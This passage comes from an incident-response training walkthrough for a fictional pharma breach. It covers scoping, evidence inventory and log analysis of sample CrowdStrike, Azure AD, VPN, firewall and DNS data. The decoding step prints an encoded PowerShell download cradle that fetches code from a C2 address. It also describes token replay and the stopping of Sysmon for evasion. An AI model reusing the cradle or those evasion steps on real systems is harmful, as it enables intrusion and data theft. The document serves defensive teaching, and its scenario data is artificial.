| INT-006 | Sysmon (WS-CFO-01, WS-IT-LEVI) | Endpoint process/network telemetry | A/2 | NOT deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01). |
| INT-007 | Windows Security event logs (DC01, SERVER-RD-02) | Authentication / authorization | A/2 | DC01: partial export only — full log inaccessible. EID 4662 (DCSync) and EID 4663 (object access) relevant. |
| INT-008 | SQL audit — SERVER-RD-02 | Database object-access audit | A/2 | Partial EIDs only; not all object-access events captured. Required for PIR-001 (formula file access). |
| INT-009 | Cisco AnyConnect VPN | VPN session logs | A/2 | Available in Splunk. Covers p.levi sessions (AiTM hypothesis). |

---

## External / OSINT Sources

| ID | Source | Type | Admiralty | TLP | Notes |
|---|---|---|---|---|---|
| EXT-001 | CERT-IL | Government advisory | A/2 | TLP:AMBER | Check for active advisories targeting Israeli pharma sector. |
| EXT-002 | VirusTotal | IOC enrichment | C/3 | TLP:WHITE | Immediate priority: 203.0.113.87 hash/IP lookup. Crowdsourced — treat as corroborating only. |
| EXT-003 | Shodan | Infrastructure recon | C/3 | TLP:WHITE | 203.0.113.87 ASN / infrastructure / open-port lookup. |
| EXT-004 | URLScan.io | Domain analysis | C/3 | TLP:WHITE | Passive DNS and domain history for C2 domains identified in flows. |
| EXT-005 | MISP | Community threat intel | B/3 | TLP:AMBER | Pharma sector sharing. Cross-reference IOCs against community feed. |

---

## Source Limitations

| Source | Known Limitation |
|---|---|
| Palo Alto NGFW (INT-003) | 14-day retention only. SERVER-RD-02 Nov 6 outbound flows expire **2024-11-20** — retrieve immediately, before any other analysis. |
| CrowdStrike Falcon (INT-002) | Not deployed on R&D server fleet (12 servers) or DC01. No EDR telemetry for those hosts — Windows Security events and NGFW logs are the only visibility. |
| Sysmon (INT-006) | Not deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01). Process creation and network telemetry unavailable for those hosts. |
| Windows Security / DC01 (INT-007) | Only partial event log export available; full log is inaccessible. Analytical confidence on DC01 activity is reduced. |
| M365 ATP (INT-004) | Sandbox not enabled for .xlsm attachments. The suspected phishing attachment was delivered without detonation — no ATP verdict available. |
| SQL audit — SERVER-RD-02 (INT-008) | Partial EIDs only. Not all object-access events are captured. Absence of a log entry does NOT confirm file was not accessed. |
| WS-IT-LEVI — all sources | Legal hold issued 2024-11-15 20:45 IST (Adv. Dina Shapiro). No hardware, disk, or memory image permitted. CrowdStrike RTR allowed with full session logging. Re-assess after hold lifted (est. 48–72h). |
| Azure AD sign-in logs (INT-005) | 30-day retention. Historical data before approximately 2024-10-15 is unavailable. |
| M365 Message Trace (INT-004) | 30-day retention. Historical data before approximately 2024-10-15 is unavailable. |
| VirusTotal (EXT-002) | Crowdsourced; vendor detections may be absent for fresh infrastructure. A clean VT result does not rule out malicious use. Treat as corroborating, not authoritative. |

The template has six sections. Fill each one now:

Header — fill the four metadata lines at the top:

Project: PROJ-2024-001
Classification: TLP:AMBER
Date scoped: 2024-11-15
Scoped by: [your name]
Approved by: Noa Ben-David, IR Lead

Incident Summary — one paragraph, what triggered this:

CrowdStrike behavioral detection on WS-CFO-01 at 18:42 IST, November 15, 2024.
PowerShell spawned by OUTLOOK.EXE with base64-encoded payload, downloading from
203.0.113.87. Scope of compromise unknown. Formula files on SERVER-RD-02 are
potentially in scope — US licensing deal ($52M) requires regulatory assessment.

In Scope — fill the asset table:

Out of Scope — fill the exclusion table:

PIRs — copy from project.yml, add due dates:

Constraints and Assumptions — fill the four fields:

Legal/regulatory: INCD 72h notification window expires 2024-11-17 18:47 IST.
  Israeli Privacy Protection Law + FDA NDA obligations if formula data confirmed.
Evidence limitations: Palo Alto firewall logs — 14-day retention.
  SERVER-RD-02 Nov 6 outbound logs expire 2024-11-20. Retrieve immediately.
  Sysmon absent from all server-class machines.
Access restrictions: WS-IT-LEVI — legal hold, no hardware access. RTR permitted.
Assumptions: All timestamps assumed UTC unless marked IST. Not converted in log excerpts.

Definition of Done — check the boxes your team has agreed to:

- [ ] All PIRs answered or formally deferred with reasoning
- [ ] Timeline covers full attacker dwell period (or gap documented)
- [ ] ATT&CK mapping reviewed and finalized
- [ ] At least one detection rule per confirmed TTP
- [ ] SOC handoff delivered and acknowledged
- [ ] Executive brief approved by Noa Ben-David (IR Lead)
- [ ] INCD notification filed if formula data confirmed

Full scope.md:

# Scope Definition

**Project:** PROJ-2024-001
**Classification:** TLP:AMBER
**Date scoped:** 2024-11-15
**Scoped by:** Yael Mizrahi (CTI Analyst)
**Approved by:** Noa Ben-David (IR Lead) — verbal approval 19:22 IST

---

## Incident Summary

CrowdStrike behavioral IOA fired on WS-CFO-01 (Michal Cohen, CFO) at 18:42 IST on
2024-11-15. PowerShell with encoded payload launched from OUTLOOK.EXE; three outbound
C2 connections to 203.0.113.87 confirmed within 15 minutes of detection. Scope of
compromise is unknown at time of scoping — the CFO alert may be a late-stage indicator
of a broader intrusion. Formula files on SERVER-RD-02 (US licensing package, ~380 MB,
47 files) are in scope for PIR-001 due to financial and regulatory exposure ($52M deal,
FDA NDA obligations). INCD 72h notification clock assessed as active from time of
discovery.

---

## In Scope

| Asset / System | Owner | Justification |
|---|---|---|
| WS-CFO-01.lifetechpharma.local | IT Dept / Michal Cohen (CFO) | Triggering alert host — CrowdStrike IOA, active C2 |
| WS-IT-LEVI.lifetechpharma.local | IT Dept / Paz Levi (IT Admin) | Suspected initial access vector — AiTM phishing hypothesis |
| SERVER-RD-02.lifetechpharma.local | R&D Dept | Formula file storage — PIR-001 primary asset |
| SERVER-FIN-01.lifetechpharma.local | Finance Dept | Lateral movement target — confirmed by CrowdStrike alert Nov 15 |
| DC01.lifetechpharma.local | IT Dept | DCSync event EID 4662 observed from non-DC IP |
| Exchange Online (M365) | IT / Microsoft | Email delivery vector — phishing investigation |
| Azure AD | IT / Microsoft | Authentication logs — VPN session token replay |
| Palo Alto NGFW (perimeter) | IT / Network team | C2 traffic confirmation, SERVER-RD-02 exfil flows |

---

## Out of Scope

| Asset / System | Reason for Exclusion |
|---|---|
| SharePoint Online / OneDrive | Cloud scope — no evidence of involvement; requires separate authorization |
| Manufacturing SCADA / OT network | No evidence of lateral movement into OT segment at this time |
| WS-IT-LEVI — hardware / disk image | Legal hold issued 2024-11-15 20:45 IST. No hardware access until hold lifted. RTR permitted. |
| All other endpoints (838 total) | Out of scope pending hunt results — may expand if pivot on C2 domains finds new hosts |

---

## Priority Intelligence Requirements (PIRs)

| ID | Question | Priority | Due | Status |
|---|---|---|---|---|
| PIR-001 | Was the US licensing formula package (`SERVER-RD-02\LicenseDeals\USPartner2024\`) accessed or exfiltrated? If so, what and when? | High | 2024-11-16 06:00 IST | Open |
| PIR-002 | How did the adversary gain initial access — phishing, credential theft, exploitation, or insider? | High | 2024-11-16 06:00 IST | Open |
| PIR-003 | Is there evidence of ongoing access or persistence as of 2024-11-15 19:00 IST? Are any other hosts compromised? | High | 2024-11-16 06:00 IST | Open |

---

## Constraints and Assumptions

- **Legal/regulatory:** INCD 72h notification window — expires approximately 2024-11-17
  18:47 IST. Israeli Privacy Protection Law (PPL) notification to DPA if personal data
  breach confirmed. FDA NDA obligation to notify US partner if formula files confirmed
  exfiltrated — no specific deadline but immediate notification is standard practice.
- **Evidence limitations:**
  - Palo Alto NGFW firewall flows: 14-day retention only. SERVER-RD-02 November 6
    outbound traffic expires 2024-11-20. **Retrieve before any other analysis.**
  - Sysmon NOT deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01).
  - CrowdStrike NOT deployed on R&D server fleet (12 servers) or DC01.
  - DC01 Windows Security log: only partial export available — full log inaccessible.
  - ATP sandbox not enabled for .xlsm files — attachment was delivered uninspected.
- **Access restrictions:**
  - WS-IT-LEVI: legal hold, no hardware/disk/memory access. CrowdStrike RTR permitted
    with full session logging. Contact Adv. Dina Shapiro before any exception.
  - VPN jump host credentials: requested, not yet provisioned (Yael Mizrahi, 19:05 IST).
- **Assumptions:**
  - All log timestamps assumed UTC unless explicitly marked IST in source.
  - CrowdStrike behavioral detections treated as CONFIRMED source (Admiralty A/2).
  - Sysmon EID events treated as CONFIRMED source where forwarder health is verified.

---

## Stakeholders

| Name | Role | Involvement |
|---|---|---|
| Noa Ben-David | IR Lead | Scope approval; receives executive brief; INCD notification decision |
| Ran Katz | SOC Manager | SOC handoff; implements detection rules; hunting queries |
| Adv. Dina Shapiro | Legal Counsel | Legal hold oversight; PPL / regulatory notifications; WS-IT-LEVI access decisions |
| [CISO name] | CISO | Executive brief recipient; $52M deal brief to Board |
| [US Partner contact] | External — US biopharma | FDA NDA notification if PIR-001 answered YES |

---

## Definition of Done

This investigation is complete when:

- [ ] All three PIRs answered or formally deferred with documented reasoning
- [ ] Timeline covers full attacker dwell period from first access to detection (or gap documented)
- [ ] ATT&CK mapping completed and reviewed — all confirmed techniques have a gap type
- [ ] At least one Sigma detection rule per confirmed TTP with Rule Missing or Coverage Incomplete gap
- [ ] SOC handoff document delivered to Ran Katz and acknowledged
- [ ] Executive brief approved by Noa Ben-David (IR Lead)
- [ ] INCD notification filed if formula data or CII involvement confirmed (deadline: 2024-11-17 18:47 IST)
- [ ] PPL / FDA NDA notification decision documented (even if decision is: not required)
- [ ] project.yml status set to `closed` and all PIR statuses updated

2. Save the file and commit

git add 00-scope/scope.md
git commit -m "PROJ-2024-001: scope signed off — 5 systems, 3 PIRs, INCD deadline 2024-11-17, firewall log retrieval urgent"

The firewall log retention deadline drives everything. SERVER-RD-02’s November 6 outbound traffic expires November 20. That is the exfiltration confirmation window. If it closes, CL-003 becomes INFERRED, not CONFIRMED. Retrieve those logs before any other analysis.

Step R1: Evidence Inventory — What Exists and What Is Missing

The evidence inventory runs before analysis. The rule: you do not analyze what you have not inventoried.

1. Open the source registry

nano 02-sources/source-registry.md

The template has two tables: Internal Sources and External Sources. Fill every row you have access to — and explicitly mark what is absent. Unknown coverage is not the same as no coverage.

2. Fill in what you have

For each log source, fill four fields: Source name, System(s) it covers, Admiralty reliability rating, and any known gap. Where a source is absent from a system that should have it, add a row with — absent in the Gap column. That absence is a finding.

For LifeTech, the completed source registry drives this inventory:

GAP-001 — WS-IT-LEVI Sysmon: October 22 — November 1, 2024

Duration: 10 days
Root cause: Unknown — Sysmon forwarder stopped. Coincides exactly with
  the day the IT admin received a phishing email.
What is missing: process creation (EID 1), network connections (EID 3),
  file creation (EID 11) for this host during this entire window.
Impact: Cannot confirm or rule out attacker activity on WS-IT-LEVI
  between Oct 22 and Nov 1. All claims about this period are INFERRED
  or HYPOTHESIZED unless supported by alternative sources (VPN logs,
  DC authentication logs, firewall flows).
Possible cause: Deliberate anti-forensic technique — terminating Sysmon
  service is a known evasion method.

The 10-day gap on the IT admin workstation starts the same day a phishing email was delivered to him. This is not coincidence — it is a finding.

3. Create a GAP document for every gap

Each gap gets its own file. Create it now:

nano 01-evidence/GAP-001-ws-it-levi-sysmon.md

Paste the filled template:

# GAP-001 — WS-IT-LEVI Sysmon | 2024-10-22 – 2024-11-01
Duration: 10 days (2024-10-22 11:31 UTC to 2024-11-01 09:14 UTC)
Root cause: Sysmon forwarder stopped. Coincides exactly with delivery
  of phishing email to p.levi at 11:23 UTC.
What is missing: EID 1 (process creation), EID 3 (network connections),
  EID 11 (file creation) for WS-IT-LEVI during this entire window.
Impact: Cannot confirm or rule out attacker activity during this period.
  All claims covering Oct 22–Nov 1 on this host are INFERRED or
  HYPOTHESIZED unless corroborated by VPN logs, DC auth logs, or
  firewall flows.
Possible cause: Deliberate - terminating Sysmon is T1562.001 (Impair
  Defenses). A gap coinciding with a malicious delivery is itself a
  finding, not merely an absence.

4. Commit the evidence inventory

git add 01-evidence/ 02-sources/source-registry.md
git commit -m "PROJ-2024-001: evidence inventory — 6 sources, GAP-001 (10-day Sysmon gap WS-IT-LEVI Oct 22–Nov 1), firewall log retrieval urgent before Nov 20"

Step R1.5: Hands-On Evidence Analysis — VS Code Investigation

The evidence inventory tells you what exists. This step analyzes it. VS Code is the primary tool: one window holds the evidence tree, the formatted logs, the API calls, and the terminal — no context-switching between applications.

Setup — Open the Evidence Folder

# One command opens the entire evidence directory as a workspace
code ~/investigations/lifetech-2024-11/01-evidence/

VS Code opens with the Explorer panel showing the full evidence tree. Every JSON, JSONL, CSV, and syslog file is one click away.

Install four extensions before starting (Ctrl+Shift+X, search by ID):

Or install all at once from the integrated terminal (Ctrl+`` ):

code --install-extension mechatroner.rainbow-csv
code --install-extension humao.rest-client
code --install-extension ms-vscode.hexeditor
code --install-extension esbenp.prettier-vscode

Key VS Code shortcuts used throughout this step:

Download the training evidence:

git clone https://github.com/anpa1200/CTI_as_a_Code.git
code ~/CTI_as_a_Code/investigations/lifetech-2024-11/01-evidence/

Direct links to open any file in GitHub (also downloadable via curl -L):

m365/message-trace-p.levi.csv
Format: CSV
Contains: IT admin phishing delivery, Oct 15–24
m365/message-trace-m.cohen.csv
Format: CSV
Contains: CFO phishing delivery, Nov 13–15
azure-ad/signin-p.levi.json
Format: JSON
Contains: IT admin Azure AD sign-ins — Istanbul token replay
vpn/anyconnect-2024-10-24.log
Format: ASA syslog
Contains: VPN session from Istanbul, Oct 24
sysmon/WS-CFO-01-sysmon.jsonl
Format: JSONL
Contains: CFO workstation — PowerShell, LSASS, persistence, BITS
crowdstrike/WS-CFO-01-alert-20241115.json
Format: JSON
Contains: CrowdStrike Falcon alert — triggering detection
windows-security/DC01-security.jsonl
Format: JSONL
Contains: DC01 security events — DCSync EID 4662
windows-security/SERVER-RD-02-security.jsonl
Format: JSONL
Contains: R&D server — EID 4663 file access, EID 5156 exfil
palo-alto/ngfw-flows.csv
Format: CSV
Contains: Perimeter firewall flows — 381 MB exfil confirmed
palo-alto/dns-queries.csv
Format: CSV
Contains: DNS telemetry — C2 beacon pattern
sql-audit/SERVER-RD-02-sql-audit.jsonl
Format: JSONL
Contains: SQL Server audit — full xp_cmdshell exfil chain
GAP-001-ws-it-levi-sysmon.md
Format: Markdown
Contains: Documented 10-day Sysmon gap on IT admin host

1. CrowdStrike Alert — JSON in VS Code

In VS Code Explorer: click crowdstrike/WS-CFO-01-alert-20241115.json

Press Shift+Alt+F to auto-format. The nested structure becomes readable with collapsible sections.

Open the Outline panel (Ctrl+Shift+O):

▶ meta
▼ resources
  ▼ [0]
    ▶ device        — hostname, OS, groups
    ▼ behaviors
      [0] Execution / T1059.001  — OUTLOOK.EXE → powershell.exe
      [1] Command and Control / T1071.001
      [2] Persistence / T1547.001
      [3] Credential Access / T1003.001
    ▶ network_accesses
    ▶ prevention_policy

Click any node to jump directly to that section. Click prevention_policy — you see "prevent": false immediately. The CFO's machine is in detect-only mode; the C2 connection is live. Take the memory dump before anything else.

Search (Ctrl+F): type prevented → jumps to "prevent": false. Type cmdline → jumps to the encoded PowerShell command.

Or use jq tool:

Extract key fields in the integrated terminal (Ctrl+`` ):

jq '.resources[0] | {
  detection_id,
  severity:  .max_severity_displayname,
  host:      .device.hostname,
  prevented: .prevention_policy.prevent,
  timestamp: .created_timestamp
}' crowdstrike/WS-CFO-01-alert-20241115.json

Output:

{
  "detection_id": "ldt:8f2a4b91e33a471cae44b2fdb8812201:884921003",
  "severity":     "Critical",
  "host":         "WS-CFO-01",
  "prevented":    false,
  "timestamp":    "2024-11-15T16:42:47.882Z"
}

# List all detected behaviors
jq '.resources[0].behaviors[] | {
  timestamp, tactic, technique_id, display_name,
  parent: .parent_image_filename,
  image:  .filename,
  cmdline: (.cmdline // "" | .[0:80])
}' crowdstrike/WS-CFO-01-alert-20241115.json

# Network connections observed
jq '.resources[0].network_accesses[] | {
  remote_address, remote_port, direction, timestamp
}' crowdstrike/WS-CFO-01-alert-20241115.json

# Prevention policy — confirm detect-only mode and note the policy gap
jq '.resources[0].prevention_policy | {name, prevent, detect, note}' \
  crowdstrike/WS-CFO-01-alert-20241115.json

Found IOCs

Host WS-CFO-01 — Victim workstation; CrowdStrike detect-only, C2 active
Hash (SHA256) de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1848474f57 — powershell.exe behavior hash from alert
Hash (MD5) 7353f60b1739074eb17c5f4dddefe239 — Same behavior; use both for VT lookup
Process OUTLOOK.EXE → powershell.exe — Parent–child execution chain in behaviors[0]
Cmdline -NonI -W Hidden -Enc JABjAD0A… — Encoded PowerShell payload; decode in Step 2
IP 203.0.113.87 — C2 server; 3 connections in network_accesses, port 443

2. Decode the PowerShell Payload

In the formatted JSON still open in VS Code, press Ctrl+F and search -Enc — the base64 argument is on the same line. Copy it.

Decode in the integrated terminal — do not paste encoded malware into online decoders:

# PowerShell -Enc uses UTF-16LE encoding
echo "JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABkAD0AJABjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AMgAwADMALgAwAC4AMQAxADMALgA4ADcALwB1AHAAZABhAHQAZQAnACkA" \
  | base64 -d

Output:

$c=New-Object System.Net.WebClient;$c.Headers.Add('User-Agent','Mozilla/5.0');$d=$c.DownloadString('https://203.0.113.87/update')

In VS Code Explorer: click sysmon/WS-CFO-01-sysmon.jsonl. Press Ctrl+F, search "EventID": 11 — jumps to the file creation event showing svchost32.exe dropped to AppData\Roaming. The analyst_note field confirms the fake PE timestamp.

# Cross-check: confirm what the PowerShell dropped
jq 'select(.EventID == 11) | {
  time: .TimeCreated, dropped_by: .Image, file: .TargetFilename, note: .analyst_note
}' sysmon/WS-CFO-01-sysmon.jsonl

Or use Base64 extention:

Found IOCs

IP 203.0.113.87 — Primary C2 server; payload download source
URL https://203.0.113.87/update — C2 payload URL decoded from base64 PowerShell
File svchost32.exe — Dropper deposited to %AppData%\Roaming\; forged PE timestamp

3. M365 Message Trace — Rainbow CSV

In VS Code Explorer: click m365/message-trace-p.levi.csv

With Rainbow CSV installed, every column gets its own color. The status bar at the bottom shows the column name as you move the cursor.

RBQL — SQL queries against the CSV, no Python needed:

Press F5 (or click RBQL in the status bar) to open the query console:

-- Find all emails where authentication failed
SELECT a.* WHERE a16 == "fail" ORDER By a1

Result pane (right side):

2024-10-22T11:23:07Z | security-noreply@mfa-lifetechpharma.com
  | ACTION REQUIRED: MFA Re-enrollment — LifeTech IT Security
  | Delivered | 4 | fail | fail | fail

Three auth failures in one row. SCL=4 delivered because the threshold is 5. Add mfa-lifetechpharma.com to IOC list.

SELECT a.* WHERE a17 == '1' && a16 == 'fail'

Save RBQL results: click Save to CSV in the result panel → save as 03-analysis/m365-suspects.csv.

Switch to m365/message-trace-m.cohen.csv (click in Explorer):

-- CFO mailbox — find the malicious delivery
SELECT a.received_time, a.sender_address, a.subject, a.SCL, a.DMARC, a.has_attachment
FROM a
WHERE a.DMARC == 'fail' OR a.has_attachment == '1'
ORDER BY a.received_time

Key finding — CFO phishing email:

2024-11-15T15:58:08Z | contracts@globalcontracts-secure.net
  | Q4-2024 Licensing Agreement Review — Action Required (URGENT)
  | SCL=4 | DMARC=fail | has_attachment=1

The .xlsm attachment was not sandboxed — ATP policy gap (INT-007). Add globalcontracts-secure.net to IOC list.

Found IOCs

Domain mfa-lifetechpharma.com — AiTM phishing sender domain; DMARC/DKIM/SPF all fail
Email security-noreply@mfa-lifetechpharma.com — IT admin phishing sender (Oct 22)
Domain globalcontracts-secure.net — CFO phishing delivery domain
Email contracts@globalcontracts-secure.net — CFO phishing sender (Nov 15)
Attachment .xlsm — Macro-enabled Excel; bypassed ATP sandbox (INT-007)

4. Azure AD Sign-In Analysis

In VS Code Explorer: click azure-ad/signin-p.levi.json

Press Shift+Alt+F to format. Open the Outline (Ctrl+Shift+O) — the array shows four sign-in entries. Click entry [1] to jump to aad-signin-002.

Search Ctrl+F: type Istanbul — jumps directly to the suspicious sign-in. Read surrounding context without running any command:

"city": "Istanbul",
"countryOrRegion": "TR",
"conditionalAccessStatus": "notApplied",
"succeeded": null

Three red flags visible immediately in the file: foreign city, CA bypassed, no MFA.

Full structured extraction in the terminal:

jq '.[] | {
  id,
  time: .properties.createdDateTime,
  ip:   .properties.ipAddress,
  loc:  "\(.properties.location.city), \(.properties.location.countryOrRegion)",
  mfa:  .properties.authenticationDetails[0].succeeded,
  ca:   .properties.conditionalAccessStatus,
  os:   .properties.deviceDetail.operatingSystem
}' azure-ad/signin-p.levi.json

Red flags on aad-signin-002:

Found IOCs

IP 185.220.101.47 — Attacker source IP; Istanbul, Turkey (Tor exit node)
Account p.levi — Compromised IT admin; token replay, no MFA challenge
Indicator Token replay — CA policy bypassed; conditionalAccessStatus: notApplied

5. VPN Log Analysis

In VS Code Explorer: click vpn/anyconnect-2024-10-24.log

VS Code opens the plain syslog file. Use Ctrl+F to navigate without any commands:

Search p.levi — highlights every line for this user
Search Authentication: successful — the auth event
Search Assigned address — the internal IP assigned to the session
Search Duration — total session length

# Full session chain in the terminal:
grep "p.levi" vpn/anyconnect-2024-10-24.log \
  | grep -E "(716001|716002|734001|Authentication|Teardown|Assigned)"

Output:

Oct 24 00:17:14 ... User  IP <185.220.101.47> Authentication: successful
Oct 24 00:17:33 ... User  ... Assigned address: 10.10.3.22
Oct 24 02:29:08 ... User  ... Duration: 1h12m34s

185.220.101.47 (Istanbul VPN exit) authenticated as p.levi and was assigned 10.10.3.22 — WS-IT-LEVI's own internal IP. All activity during this session looks like it came from the legitimate workstation.

grep -i "mfa\|no.*challenge\|bypass" vpn/anyconnect-2024-10-24.log
# → NOTE: No MFA challenge issued — session token authentication bypass
grep "203.0.113.87" vpn/anyconnect-2024-10-24.log | awk '{print $1,$2,$3}' | head -8
# → ~7-minute C2 beacons during the VPN session window

Found IOCs

IP 185.220.101.47 — Attacker VPN source; Istanbul; authenticated as p.levi
Account p.levi — Session token auth; no MFA challenge issued
IP (internal) 10.10.3.22 — Assigned to attacker session; masks as WS-IT-LEVI
IP 203.0.113.87 — C2 beacons during VPN session (~7-min interval)

6. NGFW Log Analysis — Rainbow CSV

In VS Code Explorer: click palo-alto/ngfw-flows.csv

Rainbow CSV colorizes columns. The status bar shows column names as you move the cursor.

RBQLHeader
a1receive_time
a22dport
a5src
a28bytes
a6dst
a29bytes_sent
a9rule
a30bytes_received
a10srcuser
a33elapsed
a12app
a34category
a27action
a41session_end_reason

In VS Code Explorer: click palo-alto/ngfw-flows.csv. Press F5 to open the RBQL console.

Query 1 — find anomalies: all flows sorted by bytes_sent descending

Start here every time. The outlier appears immediately.

SELECT a1, a5, a6, a22,
       Math.round(parseInt(a29) / 1048576) + ' MB' AS sent_MB,
       Math.round(parseInt(a30) / 1024) + ' KB' AS rcvd_KB,
       a33 + 's', a10
ORDER BY parseInt(a29) DESC

Result:

2024-11-06T00:14:14Z | 10.10.2.15 | 198.51.100.44 | 443 | 381 MB | 409 KB | 312s |
2024-11-15T16:42:41Z | 10.10.1.45 | 203.0.113.87  | 443 |  17 MB |  10 KB |  63s | LIFETECHPHARMA\m.cohen
2024-11-15T16:49:22Z | 10.10.1.45 | 203.0.113.87  | 443 |  14 MB |  10 KB |  61s | LIFETECHPHARMA\m.cohen
2024-11-15T16:56:03Z | 10.10.1.45 | 203.0.113.87  | 443 |  14 MB |  10 KB |  59s | LIFETECHPHARMA\m.cohen
2024-11-06T00:09:44Z | 10.10.3.22 | 203.0.113.87  | 443 |   9 KB |   7 KB |  51s | LIFETECHPHARMA\p.levi
...

The first row is 17,000× larger than any other flow. Upload ratio 99% (381 MB sent, 409 KB received). Session lasted 312 seconds. This is data exfiltration, not a download.

Two hosts are beaconing to the same C2 IP: 10.10.3.22 (IT admin, p.levi) and 10.10.1.45 (CFO, m.cohen) — two separate infections.

Query 2 — exfil upload ratio: flag flows where sent > 90% of total bytes

SELECT a1, a5, a6, a22,
       Math.round(parseInt(a29) / 1048576) + ' MB' AS sent_MB,
       Math.round(parseInt(a29) * 100 / (parseInt(a28) + 1)) + '%' AS upload_pct,
       a33 + 's'
WHERE parseInt(a28) > 100000
ORDER BY parseInt(a29) DESC

Result: only one row — 10.10.2.15 → 198.51.100.44, 99% upload, 381 MB. Every other flow is bidirectional C2 (55–65% upload) which is beacon traffic, not exfil.

Query 3 — beacon pattern: repeated small flows to same external IP

SELECT a6, COUNT(a6) AS sessions,
       AVG(parseInt(a28)) AS avg_bytes,
       AVG(parseInt(a33)) AS avg_elapsed_s
WHERE a6 && !a6.startsWith('10.') && !a6.startsWith('192.168.')
   && !isNaN(parseInt(a28))
GROUP BY a6Result:

203.0.113.87   | 9 sessions | ~14 KB avg | ~47s avg
198.51.100.44  | 1 session  | 399 MB avg | 312s avg

203.0.113.87 has 9 short uniform sessions — beacon. 198.51.100.44 has one giant session — exfil.

Query 4 — internal lateral movement: flows that stay inside RFC-1918

SELECT a1, a5, a6, a22, a28, a9, a10
WHERE a5 && a6
   && (a5.startsWith('10.') || a5.startsWith('192.168.'))
   && (a6.startsWith('10.') || a6.startsWith('192.168.'))
ORDER BY a1

Result:

2024-11-15T19:14:08Z | 10.10.1.45 | 10.10.2.20 | 135   | 8441  | InternalAccess-Allow
2024-11-15T19:14:18Z | 10.10.1.45 | 10.10.2.20 | 49152 | 12884 | InternalAccess-Allow

CFO workstation (10.10.1.45) connected to an internal host (10.10.2.20) on port 135 (DCE/RPC endpoint mapper) then port 49152 (dynamic RPC). This is the WMI/DCOM lateral movement signature — 3 hours after the CFO was compromised.

Query 5 — beacon timing: isolate C2 host and sort by time to measure intervals

SELECT a1, a5, a6, parseInt(a29) AS bytes_sent, a33 + 's'
WHERE a6 == '203.0.113.87'
ORDER BY a1

Result:

2024-11-01T07:14:02Z | 10.10.3.22 | 8441 bytes | 47s   ← WS-IT-LEVI session 1
2024-11-01T07:21:14Z | 10.10.3.22 | 8221 bytes | 45s   ← gap: 432s
2024-11-01T07:28:44Z | 10.10.3.22 | 7882 bytes | 44s   ← gap: 450s
                     ↓ 4.7-day silence (C2 dormant) ↓
2024-11-06T00:09:44Z | 10.10.3.22 | 9441 bytes | 51s   ← WS-IT-LEVI session 2
2024-11-06T00:17:01Z | 10.10.3.22 | 8001 bytes | 46s   ← gap: 437s
2024-11-06T00:24:33Z | 10.10.3.22 | 8011 bytes | 44s   ← gap: 452s
2024-11-15T16:42:41Z | 10.10.1.45 | 18221 bytes| 63s   ← WS-CFO-01 session 1
2024-11-15T16:49:22Z | 10.10.1.45 | 14441 bytes| 61s   ← gap: 401s
2024-11-15T16:56:03Z | 10.10.1.45 | 15001 bytes| 59s   ← gap: 421s

Beacon interval: 432–452 seconds (~7.2 minutes). Consistent across both infected hosts — same implant, same configuration. The 4.7-day gap (Nov 1–6) between IT admin beacon clusters is the C2 going quiet while staging lateral movement.

Click palo-alto/dns-queries.csv in Explorer.

Column map:

RBQLHeader
a1receive_time
a2src
a4query
a6response
a8category
a10analyst_note

Query 6 — all malware-category queries, sorted by time

SELECT a1, a2, a4, a6, a8
FROM a
WHERE a8 == 'malware'
ORDER BY a1

Result — full malware DNS timeline:

2024-10-22T09:28:41Z | 10.10.3.22 | mfa-lifetechpharma.com       | 185.220.101.47  | malware ← AiTM phishing page loaded
2024-10-22T09:29:02Z | 10.10.3.22 | mfa-lifetechpharma.com       | 185.220.101.47  | malware ← token stolen
2024-11-01T07:14:00Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware ← C2 beacon 1
2024-11-01T07:21:14Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware
2024-11-01T07:28:44Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware
2024-11-06T00:09:01Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware
2024-11-06T00:17:01Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware ← (missing from log)
2024-11-06T00:24:33Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware
2024-11-06T00:10:14Z | 10.10.2.15 | sys-update-cdn.net            | 198.51.100.44   | malware ← exfil domain lookup
2024-11-15T15:58:08Z | 10.10.1.45 | globalcontracts-secure.net    | 185.220.101.52  | malware ← CFO phishing domain
2024-11-15T16:42:33Z | 10.10.1.45 | telemetry-cdn-services.biz   | 203.0.113.87    | malware ← CFO C2 beacon 1
2024-11-15T16:49:22Z | 10.10.1.45 | telemetry-cdn-services.biz   | 203.0.113.87    | malware
2024-11-15T16:56:03Z | 10.10.1.45 | telemetry-cdn-services.biz   | 203.0.113.87    | malware

Query 7 — per-host beacon count: how many hosts are infected?

SELECT a2, COUNT(a2) AS queries
WHERE a4 == 'telemetry-cdn-services.biz'
GROUP BY a2

Result:

10.10.3.22 | 6   ← WS-IT-LEVI (IT admin) — infected Nov 1
10.10.1.45 | 3   ← WS-CFO-01 (CFO) — infected Nov 15

Two hosts. Two infections. Same C2 domain. The IT admin host was the initial foothold; the CFO host is the second wave, 14 days later.

Query 8 — new IP: attacker recon before VPN login

SELECT a1, a2, a4, a6, a8, a10
WHERE a2 && !a2.startsWith('10.') && !a2.startsWith('192.168.')
ORDER BY a1

Result:

2024-10-24T00:16:44Z | 185.220.101.47 | vpn.lifetechpharma.com | 10.10.8.1 | business-and-economy

The attacker IP (185.220.101.47) looked up the VPN hostname 1 minute before the successful VPN login. Confirms active operator, not automated tool.

Cross-reference with flows (Ctrl+Shift+F → 198.51.100.44):

ngfw-flows.csv   line 11: 10.10.2.15 → 198.51.100.44 | 399 MB | 312s
dns-queries.csv  line 14: 10.10.2.15 → sys-update-cdn.net → 198.51.100.44

